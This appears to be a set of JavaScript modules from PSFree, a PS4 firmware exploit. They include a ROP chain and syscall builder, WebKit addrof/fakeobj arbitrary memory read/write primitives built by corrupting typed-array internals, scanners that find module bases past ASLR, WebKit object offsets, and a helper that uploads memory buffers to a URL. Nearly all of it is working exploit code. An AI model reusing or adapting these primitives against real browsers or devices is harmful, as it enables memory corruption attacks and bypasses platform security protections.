const [a, b] = [lohi_from_one(values[0]), lohi_from_one(values[1])];
const retval = this._return_value;
retval[0] = a[0];
retval[1] = a[1];
retval[2] = b[0];
retval[3] = b[1];
}
get errno() {
return this._errno[0];
}
set errno(value) {
this._errno[0] = value;
}
push_value(value) {
const position = this.position;
if (position >= this.stack_size) {
throw Error(`no more space on the stack, pushed value: ${value}`);
}
const values = lohi_from_one(value);
const stack = this.stack;
stack.setUint32(position, values[0], true);
stack.setUint32(position + 4, values[1], true);
this.position += 8;
}
get_gadget(insn_str) {
const addr = this.gadgets.get(insn_str);
if (addr === undefined) {
throw Error(`gadget not found: ${insn_str}`);
}
return addr;
}
push_gadget(insn_str) {
this.push_value(this.get_gadget(insn_str));
}
push_call(func_addr, ...args) {
if (args.length > 6) {
throw TypeError(
'push_call() does not support functions that have more than 6'
+ ' arguments');
}
for (let i = 0; i < args.length; i++) {
this.push_gadget(argument_pops[i]);
this.push_value(args[i]);
}
// The address of our buffer seems to be always aligned to 8 bytes.
// SysV calling convention requires the stack is aligned to 16 bytes on
// function entry, so push an additional 8 bytes to pad the stack. We
// pushed a "ret" gadget for a noop.
if ((this.position & (0x10 - 1)) !== 0) {
this.push_gadget('ret');
}
if (typeof func_addr === 'string') {
this.push_gadget(func_addr);
} else {
this.push_value(func_addr);
}
}
push_syscall(syscall_name, ...args) {
if (typeof syscall_name !== 'string') {
throw TypeError(`syscall_name not a string: ${syscall_name}`);
}
const sysno = syscall_map.get(syscall_name);
if (sysno === undefined) {
throw Error(`syscall_name not found: ${syscall_name}`);
}
const syscall_addr = this.syscall_array[sysno];
if (syscall_addr === undefined) {
throw Error(`syscall number not in syscall_array: ${sysno}`);
}
this.push_call(syscall_addr, ...args);
}
// Sets needed class properties
//
// Args:
// gadgets:
// A Map-like object mapping instruction strings (e.g. "pop rax; ret")
// to their addresses in memory.
// syscall_array:
// An array whose indices correspond to syscall numbers. Maps syscall
// numbers to their addresses in memory. Defaults to an empty Array.
static init_class(gadgets, syscall_array=[]) {
this.prototype.gadgets = gadgets;
this.prototype.syscall_array = syscall_array;
}
// START: implementation-dependent parts
//
// the user doesn't need to implement all of these. just the ones they need
// Firmware specific method to launch a ROP chain
//
// Proper implementations will check if .position is nonzero before
// running. Implementations can optionally check .is_dirty to enforce
// single-run gadget sequences
run() {
throw Error('not implemented');
}
// anything you need to do before the ROP chain jumps back to JavaScript
push_end() {
throw Error('not implemented');
}
push_get_errno() {
throw Error('not implemented');
}
push_clear_errno() {
throw Error('not implemented');
}
// get the rax register
push_get_retval() {
throw Error('not implemented');
}
// get the rax and rdx registers
push_get_retval_all() {
throw Error('not implemented');
}
// END: implementation-dependent parts
// note that later firmwares (starting around > 5.00?), the browser doesn't
// have a JIT compiler. we programmed in a way that tries to make the
// resulting bytecode be optimal
//
// we intentionally have an incomplete set (there's no function to get a
// full 128-bit result). we only implemented what we think are the common
// cases. the user will have to implement those other functions if they
// need it
do_call(...args) {
if (this.position) {
throw Error('chain not empty');
}
try {
this.push_call(...args);
this.push_get_retval();
this.push_get_errno();
this.push_end();
this.run();
} finally {
this.reset();
}
}
call_void(...args) {
this.do_call(...args);
}
call_int(...args) {
this.do_call(...args);
// x | 0 will always be a signed integer
return this._return_value[0] | 0;
}
call(...args) {
this.do_call(...args);
const retval = this._return_value;
return new Int(retval[0], retval[1]);
}
do_syscall(...args) {
if (this.position) {
throw Error('chain not empty');
}
try {
this.push_syscall(...args);
this.push_get_retval();
this.push_get_errno();
this.push_end();
this.run();
} finally {
this.reset();
}
}
syscall_void(...args) {
this.do_syscall(...args);
}
syscall_int(...args) {
this.do_syscall(...args);
// x | 0 will always be a signed integer
return this._return_value[0] | 0;
}
syscall(...args) {
this.do_syscall(...args);
const retval = this._return_value;
return new Int(retval[0], retval[1]);
}
syscall_ptr(...args) {
this.do_syscall(...args);
const retval = this._return_value;
return new Addr(retval[0], retval[1]);
}
// syscall variants that throw an error on errno
do_syscall_clear_errno(...args) {
if (this.position) {
throw Error('chain not empty');
}
try {
this.push_clear_errno();
this.push_syscall(...args);
this.push_get_retval();
this.push_get_errno();
this.push_end();
this.run();
} finally {
this.reset();
}
}
sysi(...args) {
const errno = this._errno;
this.do_syscall_clear_errno(...args);
const err = errno[0];
if (err !== 0) {
throw Error(`syscall(${args[0]}) errno: ${err}`);
}
// x | 0 will always be a signed integer
return this._return_value[0] | 0;
}
sys(...args) {
const errno = this._errno;
this.do_syscall_clear_errno(...args);
const err = errno[0];
if (err !== 0) {
throw Error(`syscall(${args[0]}) errno: ${err}`);
}
const retval = this._return_value;
return new Int(retval[0], retval[1]);
}
sysp(...args) {
const errno = this._errno;
this.do_syscall_clear_errno(...args);
const err = errno[0];
if (err !== 0) {
throw Error(`syscall(${args[0]}) errno: ${err}`);
}
const retval = this._return_value;
return new Addr(retval[0], retval[1]);
}
}
export function get_gadget(map, insn_str) {
const addr = map.get(insn_str);
if (addr === undefined) {
throw Error(`gadget not found: ${insn_str}`);
}
return addr;
}
function load_fw_specific(version) {
if (version & 0x10000) {
throw RangeError('ps5 not supported yet');
}
const value = version & 0xffff;
// we don't want to bother with very old firmwares that don't support
// ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types
// which can be annoying to deal with
if (value < 0x700) {
throw RangeError("PS4 firmwares < 7.00 isn't supported");
}
if (0x800 <= value && value < 0x850) {
return import('/rop/800.mjs');
}
throw RangeError('firmware not supported');
}
export let gadgets = null;
export let libwebkit_base = null;
export let libkernel_base = null;
export let libc_base = null;
export let init_gadget_map = null;
export let Chain = null;
export async function init() {
const module = await load_fw_specific(config.target);
Chain = module.Chain;
module.init(Chain);
({
gadgets,
libwebkit_base,
libkernel_base,
libc_base,
init_gadget_map,
} = module);
}

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/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// cache some constants
const isInteger = Number.isInteger;
function check_not_in_range(x) {
return !(isInteger(x) && -0x80000000 <= x && x <= 0xffffffff);
}
// use this if you want to support objects convertible to Int but only need
// their low/high bits. creating a Int is slower compared to just using this
// function
export function lohi_from_one(low) {
if (low instanceof Int) {
return low._u32.slice();
}
if (check_not_in_range(low)) {
throw TypeError(`low not a 32-bit integer: ${low}`);
}
return [low >>> 0, low < 0 ? -1 >>> 0 : 0];
}
// immutable 64-bit integer
export class Int {
constructor(low, high) {
if (high === undefined) {
this._u32 = new Uint32Array(lohi_from_one(low));
return;
}
if (check_not_in_range(low)) {
throw TypeError(`low not a 32-bit integer: ${low}`);
}
if (check_not_in_range(high)) {
throw TypeError(`high not a 32-bit integer: ${high}`);
}
this._u32 = new Uint32Array([low, high]);
}
get lo() {
return this._u32[0];
}
get hi() {
return this._u32[1];
}
// return low/high as signed integers
get bot() {
return this._u32[0] | 0;
}
get top() {
return this._u32[1] | 0;
}
neg() {
const u32 = this._u32;
const low = (~u32[0] >>> 0) + 1;
return new this.constructor(
low >>> 0,
((~u32[1] >>> 0) + (low > 0xffffffff)) >>> 0,
);
}
eq(b) {
const values = lohi_from_one(b);
const u32 = this._u32;
return (
u32[0] === values[0]
&& u32[1] === values[1]
);
}
ne(b) {
return !this.eq(b);
}
add(b) {
const values = lohi_from_one(b);
const u32 = this._u32;
const low = u32[0] + values[0];
return new this.constructor(
low >>> 0,
(u32[1] + values[1] + (low > 0xffffffff)) >>> 0,
);
}
sub(b) {
const values = lohi_from_one(b);
const u32 = this._u32;
const low = u32[0] + (~values[0] >>> 0) + 1;
return new this.constructor(
low >>> 0,
(u32[1] + (~values[1] >>> 0) + (low > 0xffffffff)) >>> 0,
);
}
toString(is_pretty=false) {
if (!is_pretty) {
const low = this.lo.toString(16).padStart(8, '0');
const high = this.hi.toString(16).padStart(8, '0');
return '0x' + high + low;
}
let high = this.hi.toString(16).padStart(8, '0');
high = high.substring(0, 4) + '_' + high.substring(4);
let low = this.lo.toString(16).padStart(8, '0');
low = low.substring(0, 4) + '_' + low.substring(4);
return '0x' + high + '_' + low;
}
}

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/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { Int, lohi_from_one } from './int64.mjs';
import { view_m_vector, view_m_length } from './offset.mjs';
export let mem = null;
// cache some constants
const off_vector = view_m_vector / 4;
const off_vector2 = (view_m_vector + 4) / 4;
const isInteger = Number.isInteger;
function init_module(memory) {
mem = memory;
}
function add_and_set_addr(mem, offset, base_lo, base_hi) {
const values = lohi_from_one(offset);
const main = mem._main;
const low = base_lo + values[0];
// no need to use ">>> 0" to convert to unsigned here
main[off_vector] = low;
main[off_vector2] = base_hi + values[1] + (low > 0xffffffff);
}
export class Addr extends Int {
read8(offset) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
return m.read8_at(offset);
}
read16(offset) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
return m.read16_at(offset);
}
read32(offset) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
return m.read32_at(offset);
}
read64(offset) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
return m.read64_at(offset);
}
readp(offset) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
return m.readp_at(offset);
}
write8(offset, value) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
m.write8_at(offset, value);
}
write16(offset, value) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
m.write16_at(offset, value);
}
write32(offset, value) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
m.write32_at(offset, value);
}
write64(offset, value) {
const m = mem;
if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) {
m._set_addr_direct(this);
} else {
add_and_set_addr(m, offset, this.lo, this.hi);
offset = 0;
}
m.write64_at(offset, value);
}
}
// expected:
// * main - Uint32Array whose m_vector points to worker
// * worker - DataView
//
// addrof()/fakeobj() expectations:
// * obj - has a "addr" property and a 0 index.
// * addr_addr - Int, the address of the slot of obj.addr
// * fake_addr - Int, the address of the slot of obj[0]
//
// a valid example for "obj" is "{addr: null, 0: 0}". note that this example
// has [0] be 0 so that the butterfly's indexing type is ArrayWithInt32. this
// prevents the garbage collector from incorrectly treating the slot's value as
// a JSObject and then crash
//
// the relative read/write methods expect the offset to be a unsigned 32-bit
// integer
export class Memory {
constructor(main, worker, obj, addr_addr, fake_addr) {
this._main = main;
this._worker = worker;
this._obj = obj;
this._addr_low = addr_addr.lo;
this._addr_high = addr_addr.hi;
this._fake_low = fake_addr.lo;
this._fake_high = fake_addr.hi;
main[view_m_length / 4] = 0xffffffff;
init_module(this);
const off_mvec = view_m_vector;
// use this to create WastefulTypedArrays to avoid a GC crash
const buf = new ArrayBuffer(0);
const src = new Uint8Array(buf);
const sset = new Uint32Array(buf);
const sset_p = this.addrof(sset);
sset_p.write64(off_mvec, this.addrof(src).add(off_mvec));
sset_p.write32(view_m_length, 3);
this._cpysrc = src;
this._src_setter = sset;
const dst = new Uint8Array(buf);
const dset = new Uint32Array(buf);
const dset_p = this.addrof(dset);
dset_p.write64(off_mvec, this.addrof(dst).add(off_mvec));
dset_p.write32(view_m_length, 3);
dset[2] = 0xffffffff;
this._cpydst = dst;
this._dst_setter = dset;
}
// dst and src may overlap
cpy(dst, src, len) {
if (!(isInteger(len) && 0 <= len && len <= 0xffffffff)) {
throw TypeError('len not a unsigned 32-bit integer');
}
const dvals = lohi_from_one(dst);
const svals = lohi_from_one(src);
const dset = this._dst_setter;
const sset = this._src_setter;
dset[0] = dvals[0];
dset[1] = dvals[1];
sset[0] = svals[0];
sset[1] = svals[1];
sset[2] = len;
this._cpydst.set(this._cpysrc);
}
// allocate Garbage Collector managed memory. returns [address_of_memory,
// backer]. backer is the JSCell that is keeping the returned memory alive,
// you can drop it once you have another GC object reference the address.
// the backer is an implementation detail. don't use it to mutate the
// memory
gc_alloc(size) {
if (!isInteger(size)) {
throw TypeError('size not a integer');
}
if (size < 0) {
throw RangeError('size is negative');
}
const fastLimit = 1000;
size = (size + 7 & ~7) >> 3;
if (size > fastLimit) {
throw RangeError('size is too large');
}
const backer = new Float64Array(size);
return [mem.addrof(backer).readp(view_m_vector), backer];
}
fakeobj(addr) {
const values = lohi_from_one(addr);
const worker = this._worker;
const main = this._main;
main[off_vector] = this._fake_low;
main[off_vector2] = this._fake_high;
worker.setUint32(0, values[0], true);
worker.setUint32(4, values[1], true);
return this._obj[0];
}
addrof(object) {
// typeof considers null as a object. blacklist it as it isn't a
// JSObject
if (object === null
|| (typeof object !== 'object' && typeof object !== 'function')
) {
throw TypeError('argument not a JS object');
}
const obj = this._obj;
const worker = this._worker;
const main = this._main;
obj.addr = object;
main[off_vector] = this._addr_low;
main[off_vector2] = this._addr_high;
const res = new Addr(
worker.getUint32(0, true),
worker.getUint32(4, true),
);
obj.addr = null;
return res;
}
// expects addr to be a Int
_set_addr_direct(addr) {
const main = this._main;
main[off_vector] = addr.lo;
main[off_vector2] = addr.hi;
}
set_addr(addr) {
const values = lohi_from_one(addr);
const main = this._main;
main[off_vector] = values[0];
main[off_vector2] = values[1];
}
get_addr() {
const main = this._main;
return new Addr(main[off_vector], main[off_vector2]);
}
read8(addr) {
this.set_addr(addr);
return this._worker.getUint8(0);
}
read16(addr) {
this.set_addr(addr);
return this._worker.getUint16(0, true);
}
read32(addr) {
this.set_addr(addr);
return this._worker.getUint32(0, true);
}
read64(addr) {
this.set_addr(addr);
const worker = this._worker;
return new Int(worker.getUint32(0, true), worker.getUint32(4, true));
}
// returns a pointer instead of an Int
readp(addr) {
this.set_addr(addr);
const worker = this._worker;
return new Addr(worker.getUint32(0, true), worker.getUint32(4, true));
}
read8_at(offset) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
return this._worker.getUint8(offset);
}
read16_at(offset) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
return this._worker.getUint16(offset, true);
}
read32_at(offset) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
return this._worker.getUint32(offset, true);
}
read64_at(offset) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
const worker = this._worker;
return new Int(
worker.getUint32(offset, true),
worker.getUint32(offset + 4, true),
);
}
readp_at(offset) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
const worker = this._worker;
return new Addr(
worker.getUint32(offset, true),
worker.getUint32(offset + 4, true),
);
}
write8(addr, value) {
this.set_addr(addr);
this._worker.setUint8(0, value);
}
write16(addr, value) {
this.set_addr(addr);
this._worker.setUint16(0, value, true);
}
write32(addr, value) {
this.set_addr(addr);
this._worker.setUint32(0, value, true);
}
write64(addr, value) {
const values = lohi_from_one(value);
this.set_addr(addr);
const worker = this._worker;
worker.setUint32(0, values[0], true);
worker.setUint32(4, values[1], true);
}
write8_at(offset, value) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
this._worker.setUint8(offset, value);
}
write16_at(offset, value) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
this._worker.setUint16(offset, value, true);
}
write32_at(offset, value) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
this._worker.setUint32(offset, value, true);
}
write64_at(offset, value) {
if (!isInteger(offset)) {
throw TypeError('offset not a integer');
}
const values = lohi_from_one(value);
const worker = this._worker;
worker.setUint32(offset, values[0], true);
worker.setUint32(offset + 4, values[1], true);
}
}

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/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// This module are for utilities that depend on running the exploit first
import { Int } from './int64.mjs';
import { mem } from './mem.mjs';
import { align } from './utils.mjs';
import { page_size } from './offset.mjs';
import { BufferView } from './rw.mjs';
import { View1 } from './view.mjs';
import * as off from './offset.mjs';
// creates an ArrayBuffer whose contents is copied from addr
export function make_buffer(addr, size) {
// see enum TypedArrayMode from
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h
// at webkitgtk 2.34.4
//
// see possiblySharedBuffer() from
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
// at webkitgtk 2.34.4
// We will create an OversizeTypedArray via requesting an Uint8Array whose
// number of elements will be greater than fastSizeLimit (1000).
//
// We will not use a FastTypedArray since its m_vector is visited by the
// GC and we will temporarily change it. The GC expects addresses from the
// JS heap, and that heap has metadata that the GC uses. The GC will likely
// crash since valid metadata won't likely be found at arbitrary addresses.
//
// The FastTypedArray approach will have a small time frame where the GC
// can inspect the invalid m_vector field.
//
// Views created via "new TypedArray(x)" where "x" is a number will always
// have an m_mode < WastefulTypedArray.
const u = new Uint8Array(1001);
const u_addr = mem.addrof(u);
// we won't change the butterfly and m_mode so we won't save those
const old_addr = u_addr.read64(off.view_m_vector);
const old_size = u_addr.read32(off.view_m_length);
u_addr.write64(off.view_m_vector, addr);
u_addr.write32(off.view_m_length, size);
const copy = new Uint8Array(u.length);
copy.set(u);
// Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object
// associated with them, if we ask for view.buffer, the view will be
// converted into a WastefulTypedArray and an ArrayBuffer will be created.
// This is done by calling slowDownAndWasteMemory().
//
// We can't use slowDownAndWasteMemory() on u since that will create a
// JSC::ArrayBufferContents with its m_data pointing to addr. On the
// ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can
// cause a crash if the m_data is not from the fastMalloc heap, and even if
// it is, freeing abitrary addresses is dangerous as it may lead to a
// use-after-free.
const res = copy.buffer;
// restore
u_addr.write64(off.view_m_vector, old_addr);
u_addr.write32(off.view_m_length, old_size);
return res;
}
// these values came from analyzing dumps from CelesteBlue
function check_magic_at(p, is_text) {
// byte sequence that is very likely to appear at offset 0 of a .text
// segment
const text_magic = [
new Int(0xe5894855, 0x56415741),
new Int(0x54415541, 0x8d485053),
];
// the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment
// .data magic from 3.00, 6.00, and 6.20
//const data_magic = [
// new Int(0x18),
// new Int(0x3c13f4bf, 0x1),
//];
// .data magic from 8.00 and 8.03
const data_magic = [
new Int(0x20),
new Int(0x3c13f4bf, 0x2),
];
const magic = is_text ? text_magic : data_magic;
const value = [p.read64(0), p.read64(8)];
return value[0].eq(magic[0]) && value[1].eq(magic[1]);
}
// Finds the base address of a segment: .text or .data
// Used on the ps4 to locate module base addresses
// * p:
// an address pointing somewhere in the segment to search
// * is_text:
// whether the segment is .text or .data
// * is_back:
// whether to search backwards (to lower addresses) or forwards
//
// Modules are likely to be separated by a couple of unmapped pages because of
// Address Space Layout Randomization (all module base addresses are
// randomized). This means that this function will either succeed or crash on
// a page fault, if the magic is not present.
//
// To be precise, modules are likely to be "surrounded" by unmapped pages, it
// does not mean that the distance between a boundary of a module and the
// nearest unmapped page is 0.
//
// The boundaries of a module is its base and end addresses.
//
// let module_base_addr = find_base(...);
// // Not guaranteed to crash, the nearest unmapped page is not necessarily at
// // 0 distance away from module_base_addr.
// addr.read8(-1);
//
export function find_base(addr, is_text, is_back) {
// align to page size
addr = align(addr, page_size);
const offset = (is_back ? -1 : 1) * page_size;
while (true) {
if (check_magic_at(addr, is_text)) {
break;
}
addr = addr.add(offset);
}
return addr;
}
// gets the address of the underlying buffer of a JSC::JSArrayBufferView
export function get_view_vector(view) {
if (!ArrayBuffer.isView(view)) {
throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`);
}
return mem.addrof(view).readp(off.view_m_vector);
}
export function resolve_import(import_addr) {
if (import_addr.read16(0) !== 0x25ff) {
throw Error(
`instruction at ${import_addr} is not of the form: jmp qword`
+ ' [rip + X]');
}
// module_function_import:
// jmp qword [rip + X]
// ff 25 xx xx xx xx // signed 32-bit displacement
const disp = import_addr.read32(2);
// assume disp and offset are 32-bit integers
// x | 0 will always be a signed integer
const offset = (disp | 0) + 6;
// The rIP value used by "jmp [rip + X]" instructions is actually the rIP
// of the next instruction. This means that the actual address used is
// [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the
// jump instruction, which is 6 in this case.
const function_addr = import_addr.readp(offset);
return function_addr;
}
export function init_syscall_array(
syscall_array,
libkernel_web_base,
max_search_size,
) {
if (!Number.isInteger(max_search_size)) {
throw TypeError(
`max_search_size is not a integer: ${max_search_size}`);
}
if (max_search_size < 0) {
throw Error(`max_search_size is less than 0: ${max_search_size}`);
}
const libkernel_web_buffer = make_buffer(
libkernel_web_base,
max_search_size,
);
const kbuf = new BufferView(libkernel_web_buffer);
// Search 'rdlo' string from libkernel_web's .rodata section to gain an
// upper bound on the size of the .text section.
let text_size = 0;
let found = false;
for (let i = 0; i < max_search_size; i++) {
if (kbuf[i] === 0x72
&& kbuf[i + 1] === 0x64
&& kbuf[i + 2] === 0x6c
&& kbuf[i + 3] === 0x6f
) {
text_size = i;
found = true;
break;
}
}
if (!found) {
throw Error(
'"rdlo" string not found in libkernel_web, base address:'
+ ` ${libkernel_web_base}`);
}
// search for the instruction sequence:
// syscall_X:
// mov rax, X
// mov r10, rcx
// syscall
for (let i = 0; i < text_size; i++) {
if (kbuf[i] === 0x48
&& kbuf[i + 1] === 0xc7
&& kbuf[i + 2] === 0xc0
&& kbuf[i + 7] === 0x49
&& kbuf[i + 8] === 0x89
&& kbuf[i + 9] === 0xca
&& kbuf[i + 10] === 0x0f
&& kbuf[i + 11] === 0x05
) {
const syscall_num = kbuf.read32(i + 3);
syscall_array[syscall_num] = libkernel_web_base.add(i);
// skip the sequence
i += 11;
}
}
}
// create a char array like in the C language
//
// string to view since it's easier to get the address of the buffer this way
export function cstr(str) {
str += '\0';
return View1.from(str, c => c.codePointAt(0));
}
// we are re-exporting this since users that want to use cstr() usually want
// jstr() as well. they are likely working with functions that take/return
// strings
export { jstr } from './utils.mjs';

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/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// WebKit offsets start
// offsets for JSC::JSObject
export const js_cell = 0;
export const js_butterfly = 0x8;
// start of the array of inline properties (JSValues)
export const js_inline_prop = 0x10;
// sizeof JSC::JSObject
export const size_jsobj = js_inline_prop;
// offsets for JSC::JSArrayBufferView
export const view_m_vector = 0x10;
export const view_m_length = 0x18;
export const view_m_mode = 0x1c;
// sizeof JSC::JSArrayBufferView
export const size_view = 0x20;
// offsets for WTF::StringImpl
export const strimpl_strlen = 4;
export const strimpl_m_data = 8;
export const strimpl_inline_str = 0x14;
// sizeof WTF::StringImpl
export const size_strimpl = 0x18;
// offsets for WebCore::JSHTMLTextAreaElement, subclass of JSObject
// offset to m_wrapped, pointer to a DOM object
// for this class, it's a WebCore::HTMLTextAreaElement pointer
export const jsta_impl = 0x18;
// sizeof WebCore::JSHTMLTextAreaElement
export const size_jsta = 0x20;
// WebKit offsets end
export const KB = 1024;
export const MB = KB * KB;
export const GB = KB * KB * KB;
export const page_size = 16 * KB; // page size on the ps4
// size of the buffer used by setcontext/getcontext (see module/chain.mjs)
export const context_size = 0xc8;

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/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { Int, lohi_from_one } from './int64.mjs';
// DataView's accessors are constant time and are faster when doing multi-byte
// accesses but the single-byte accessors are slightly slower compared to just
// indexing the Uint8Array
//
// to get the best of both worlds, BufferView uses a DataView for multi-byte
// accesses and a Uint8Array for single-byte
//
// instances of BufferView will their have m_mode set to WastefulTypedArray
// since we use the .buffer getter to create a DataView
export class BufferView extends Uint8Array {
constructor(...args) {
super(...args);
this._dview = new DataView(this.buffer, this.byteOffset);
}
read16(offset) {
return this._dview.getUint16(offset, true);
}
read32(offset) {
return this._dview.getUint32(offset, true);
}
read64(offset) {
return new Int(
this._dview.getUint32(offset, true),
this._dview.getUint32(offset + 4, true),
);
}
write16(offset, value) {
this._dview.setUint16(offset, value, true);
}
write32(offset, value) {
this._dview.setUint32(offset, value, true);
}
write64(offset, value) {
const values = lohi_from_one(value);
this._dview.setUint32(offset, values[0], true);
this._dview.setUint32(offset + 4, values[1], true);
}
}
// WARNING: These functions are now deprecated. use BufferView instead.
// view.buffer is the underlying ArrayBuffer of a TypedArray, but since we will
// be corrupting the m_vector of our target views later, the ArrayBuffer's
// buffer will not correspond to our fake m_vector anyway.
//
// can't use:
//
// function read32(u8_view, offset) {
// let res = new Uint32Array(u8_view.buffer, offset, 1);
// return res[0];
// }
//
// to implement read32, we need to index the view instead:
//
// function read32(u8_view, offset) {
// let res = 0;
// for (let i = 0; i < 4; i++) {
// res += u8_view[offset + i] << i*8;
// }
// // << returns a signed integer, >>> converts it to unsigned
// return res >>> 0;
// }
// for reads less than 8 bytes
function read(u8_view, offset, size) {
let res = 0;
for (let i = 0; i < size; i++) {
res += u8_view[offset + i] << i*8;
}
// << returns a signed integer, >>> converts it to unsigned
return res >>> 0;
}
export function read16(u8_view, offset) {
return read(u8_view, offset, 2);
}
export function read32(u8_view, offset) {
return read(u8_view, offset, 4);
}
export function read64(u8_view, offset) {
return new Int(read32(u8_view, offset), read32(u8_view, offset + 4));
}
// for writes less than 8 bytes
function write(u8_view, offset, value, size) {
for (let i = 0; i < size; i++) {
u8_view[offset + i] = (value >>> i*8) & 0xff;
}
}
export function write16(u8_view, offset, value) {
write(u8_view, offset, value, 2);
}
export function write32(u8_view, offset, value) {
write(u8_view, offset, value, 4);
}
export function write64(u8_view, offset, value) {
if (!(value instanceof Int)) {
throw TypeError('write64 value must be an Int');
}
let low = value.lo;
let high = value.hi;
for (let i = 0; i < 4; i++) {
u8_view[offset + i] = (low >>> i*8) & 0xff;
}
for (let i = 0; i < 4; i++) {
u8_view[offset + 4 + i] = (high >>> i*8) & 0xff;
}
}

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/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { Int } from './int64.mjs';
export class DieError extends Error {
constructor(...args) {
super(...args);
this.name = this.constructor.name;
}
}
export function die(msg='') {
throw new DieError(msg);
}
const console = document.getElementById('console');
export function log(msg='') {
console.append(msg + '\n');
}
export function clear_log() {
console.innerHTML = null;
}
// alignment must be 32 bits and is a power of 2
export function align(a, alignment) {
if (!(a instanceof Int)) {
a = new Int(a);
}
const mask = -alignment & 0xffffffff;
let type = a.constructor;
let low = a.lo & mask;
return new type(low, a.hi);
}
export async function send(url, buffer, file_name, onload=() => {}) {
const file = new File(
[buffer],
file_name,
{type:'application/octet-stream'}
);
const form = new FormData();
form.append('upload', file);
log('send');
const response = await fetch(url, {method: 'POST', body: form});
if (!response.ok) {
throw Error(`Network response was not OK, status: ${response.status}`);
}
onload();
}
